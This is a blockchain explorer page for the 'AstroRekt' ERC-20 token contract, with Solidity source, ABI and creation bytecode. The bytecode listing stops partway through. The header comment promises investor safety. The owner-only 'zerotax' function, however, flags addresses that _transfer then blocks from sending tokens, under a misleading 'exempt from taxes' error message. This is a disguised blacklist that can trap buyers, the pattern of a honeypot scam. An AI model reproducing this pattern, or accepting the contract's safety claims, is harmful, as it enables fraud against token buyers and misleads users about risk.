Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
4,000,000,000 AstroRekt
Holders
12
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
AstroRekt
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-18 */ // SPDX-License-Identifier: MIT /** AstroRekt. The next generational meme coin. Investor safety: - No tax. - No team tokens. - No pre-sale. - Liquidity locked and burnt. **/ pragma solidity 0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AstroRekt is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address=> bool) iszerotax; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = true; address payable private _taxWallet; uint256 private _initialBuyTax=0; uint256 private _initialSellTax=0; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=1; uint256 private _reduceSellTaxAt=1; uint256 private _preventSwapBefore=1; uint256 private _buyCount=0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 4000000000 * 10**_decimals; string private constant _name = unicode"AstroRekt"; string private constant _symbol = unicode"AstroRekt"; uint256 public _maxTxAmount = 500000000 * 10**_decimals; uint256 public _maxWalletSize = 500000000 * 10**_decimals; uint256 public _taxSwapThreshold= 5000000 * 10**_decimals; uint256 public _maxTaxSwap= 5000000000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function zerotax(address _user) public onlyOwner { require(!iszerotax[_user],"user is already exempt from taxes"); iszerotax[_user] = true; } function removezerotax(address _user) public onlyOwner{ require(iszerotax[_user],"user is already exempt from taxes"); iszerotax[_user] = false; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!iszerotax[from], "user is already exempt from taxes"); uint256 taxAmount=0; if (from != owner() && to != owner()) { taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } if(to == uniswapV2Pair && from!= address(this) ){ taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); swapEnabled = true; tradingOpen = true; } receive() external payable {} function manualSwap() external { require(_msgSender()==_taxWallet); uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"removezerotax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"zerotax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600160065f6101000a81548160ff0219169083151502179055505f6007555f6008555f6009555f600a556001600b556001600c556001600d555f600e556009600a6200005191906200060c565b631dcd65006200006291906200065c565b600f556009600a6200007591906200060c565b631dcd65006200008691906200065c565b6010556009600a6200009991906200060c565b624c4b40620000a991906200065c565b6011556009600a620000bc91906200060c565b64012a05f200620000ce91906200065c565b6012555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff02191690831515021790555034801562000111575f80fd5b505f620001236200044c60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350620001cf6200044c60201b60201c565b600660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6200021f91906200060c565b63ee6b28006200023091906200065c565b60015f620002436200044c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f620002956200045360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550620003c06200044c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6200041e91906200060c565b63ee6b28006200042f91906200065c565b6040516200043e9190620006b7565b60405180910390a3620006d2565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200050457808604811115620004dc57620004db6200047a565b5b6001851615620004ec5780820291505b8081029050620004fc85620004a7565b9450620004bc565b94509492505050565b5f826200051e5760019050620005f0565b816200052d575f9050620005f0565b8160018114620005465760028114620005515762000587565b6001915050620005f0565b60ff8411156200056657620005656200047a565b5b8360020a91508482111562000580576200057f6200047a565b5b50620005f0565b5060208310610133831016604e8410600b8410161715620005c15782820a905083811115620005bb57620005ba6200047a565b5b620005f0565b620005d08484846001620004b3565b92509050818404811115620005ea57620005e96200047a565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200061882620005f7565b9150620006258362000600565b9250620006547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200050d565b905092915050565b5f6200066882620005f7565b91506200067583620005f7565b92508282026200068581620005f7565b915082820484148315176200069f576200069e6200047a565b5b5092915050565b620006b181620005f7565b82525050565b5f602082019050620006cc5f830184620006a6565b92915050565b6133b780620006e05f395ff3fe60806040526004361061012d575f3560e01c8063715018a6116100aa57806395d89b411161006e57806395d89b41146103a4578063a9059cbb146103ce578063bf474bed1461040a578063c876d0b914610434578063c9567bf91461045e578063dd62ed3e1461047457610134565b8063715018a6146102fa578063751039fc146103105780637d1db4a5146103265780638da5cb5b146103505780638f9a55c01461037a57610134565b806323b872dd116100f157806323b872dd1461021a578063313ce56714610256578063519b1a441461028057806351bc3c85146102a857806370a08231146102be57610134565b806306fdde0314610138578063095ea7b3146101625780630efd78011461019e5780630faee56f146101c657806318160ddd146101f057610134565b3661013457005b5f80fd5b348015610143575f80fd5b5061014c6104b0565b604051610159919061241b565b60405180910390f35b34801561016d575f80fd5b50610188600480360381019061018391906124cc565b6104ed565b6040516101959190612524565b60405180910390f35b3480156101a9575f80fd5b506101c460048036038101906101bf919061253d565b61050a565b005b3480156101d1575f80fd5b506101da610680565b6040516101e79190612577565b60405180910390f35b3480156101fb575f80fd5b50610204610686565b6040516102119190612577565b60405180910390f35b348015610225575f80fd5b50610240600480360381019061023b9190612590565b6106a9565b60405161024d9190612524565b60405180910390f35b348015610261575f80fd5b5061026a61077d565b60405161027791906125fb565b60405180910390f35b34801561028b575f80fd5b506102a660048036038101906102a1919061253d565b610785565b005b3480156102b3575f80fd5b506102bc6108f9565b005b3480156102c9575f80fd5b506102e460048036038101906102df919061253d565b610991565b6040516102f19190612577565b60405180910390f35b348015610305575f80fd5b5061030e6109d7565b005b34801561031b575f80fd5b50610324610b25565b005b348015610331575f80fd5b5061033a610c6d565b6040516103479190612577565b60405180910390f35b34801561035b575f80fd5b50610364610c73565b6040516103719190612623565b60405180910390f35b348015610385575f80fd5b5061038e610c9a565b60405161039b9190612577565b60405180910390f35b3480156103af575f80fd5b506103b8610ca0565b6040516103c5919061241b565b60405180910390f35b3480156103d9575f80fd5b506103f460048036038101906103ef91906124cc565b610cdd565b6040516104019190612524565b60405180910390f35b348015610415575f80fd5b5061041e610cfa565b60405161042b9190612577565b60405180910390f35b34801561043f575f80fd5b50610448610d00565b6040516104559190612524565b60405180910390f35b348015610469575f80fd5b50610472610d12565b005b34801561047f575f80fd5b5061049a6004803603810190610495919061263c565b611231565b6040516104a79190612577565b60405180910390f35b60606040518060400160405280600981526020017f417374726f52656b740000000000000000000000000000000000000000000000815250905090565b5f6105006104f96112b3565b84846112ba565b6001905092915050565b6105126112b3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610595906126c4565b60405180910390fd5b60045f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061f90612752565b60405180910390fd5b600160045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b60125481565b5f6009600a61069591906128cc565b63ee6b28006106a49190612916565b905090565b5f6106b584848461147d565b610772846106c16112b3565b61076d8560405180606001604052806028815260200161335a6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107246112b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e7c9092919063ffffffff16565b6112ba565b600190509392505050565b5f6009905090565b61078d6112b3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610819576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610810906126c4565b60405180910390fd5b60045f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff166108a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089990612752565b60405180910390fd5b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661093a6112b3565b73ffffffffffffffffffffffffffffffffffffffff1614610959575f80fd5b5f61096330610991565b90505f8111156109775761097681611ede565b5b5f4790505f81111561098d5761098c81612149565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6109df6112b3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a62906126c4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b2d6112b3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb0906126c4565b60405180910390fd5b6009600a610bc791906128cc565b63ee6b2800610bd69190612916565b600f819055506009600a610bea91906128cc565b63ee6b2800610bf99190612916565b6010819055505f60065f6101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610c4791906128cc565b63ee6b2800610c569190612916565b604051610c639190612577565b60405180910390a1565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600981526020017f417374726f52656b740000000000000000000000000000000000000000000000815250905090565b5f610cf0610ce96112b3565b848461147d565b6001905092915050565b60115481565b60065f9054906101000a900460ff1681565b610d1a6112b3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d9d906126c4565b60405180910390fd5b60148054906101000a900460ff1615610df4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610deb906129a1565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610e903060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610e7c91906128cc565b63ee6b2800610e8b9190612916565b6112ba565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610efa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f1e91906129d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fa4573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fc891906129d3565b6040518363ffffffff1660e01b8152600401610fe59291906129fe565b6020604051808303815f875af1158015611001573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061102591906129d3565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ac30610991565b5f806110b6610c73565b426040518863ffffffff1660e01b81526004016110d896959493929190612a67565b60606040518083038185885af11580156110f4573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906111199190612ada565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016111b9929190612b2a565b6020604051808303815f875af11580156111d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111f99190612b7b565b506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90612c16565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611396576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138d90612ca4565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114709190612577565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e290612d32565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611559576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155090612dc0565b60405180910390fd5b5f811161159b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159290612e4e565b60405180910390fd5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611625576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161c90612752565b60405180910390fd5b5f61162e610c73565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561169c575061166c610c73565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611bcc576116dd60646116cf600b54600e54116116bc576007546116c0565b6009545b856121b290919063ffffffff16565b61222990919063ffffffff16565b905060065f9054906101000a900460ff16156118655760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561179d575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611864574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890612f02565b60405180910390fd5b4360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561190e575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611961575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611a1b57600f548211156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290612f6a565b60405180910390fd5b601054826119b885610991565b6119c29190612f88565b1115611a03576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119fa90613005565b60405180910390fd5b600e5f815480929190611a1590613023565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611aa357503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ae757611ae46064611ad6600c54600e5411611ac357600854611ac7565b600a545b856121b290919063ffffffff16565b61222990919063ffffffff16565b90505b5f611af130610991565b9050601460159054906101000a900460ff16158015611b5c575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611b745750601460169054906101000a900460ff165b8015611b81575060115481115b8015611b905750600d54600e54115b15611bca57611bb2611bad84611ba884601254612272565b612272565b611ede565b5f4790505f811115611bc857611bc747612149565b5b505b505b5f811115611ccb57611c248160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461228a90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cc29190612577565b60405180910390a35b611d1b8260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546122e790919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611dbe611d7282846122e790919063ffffffff16565b60015f8673ffffffffffffffffffffffffff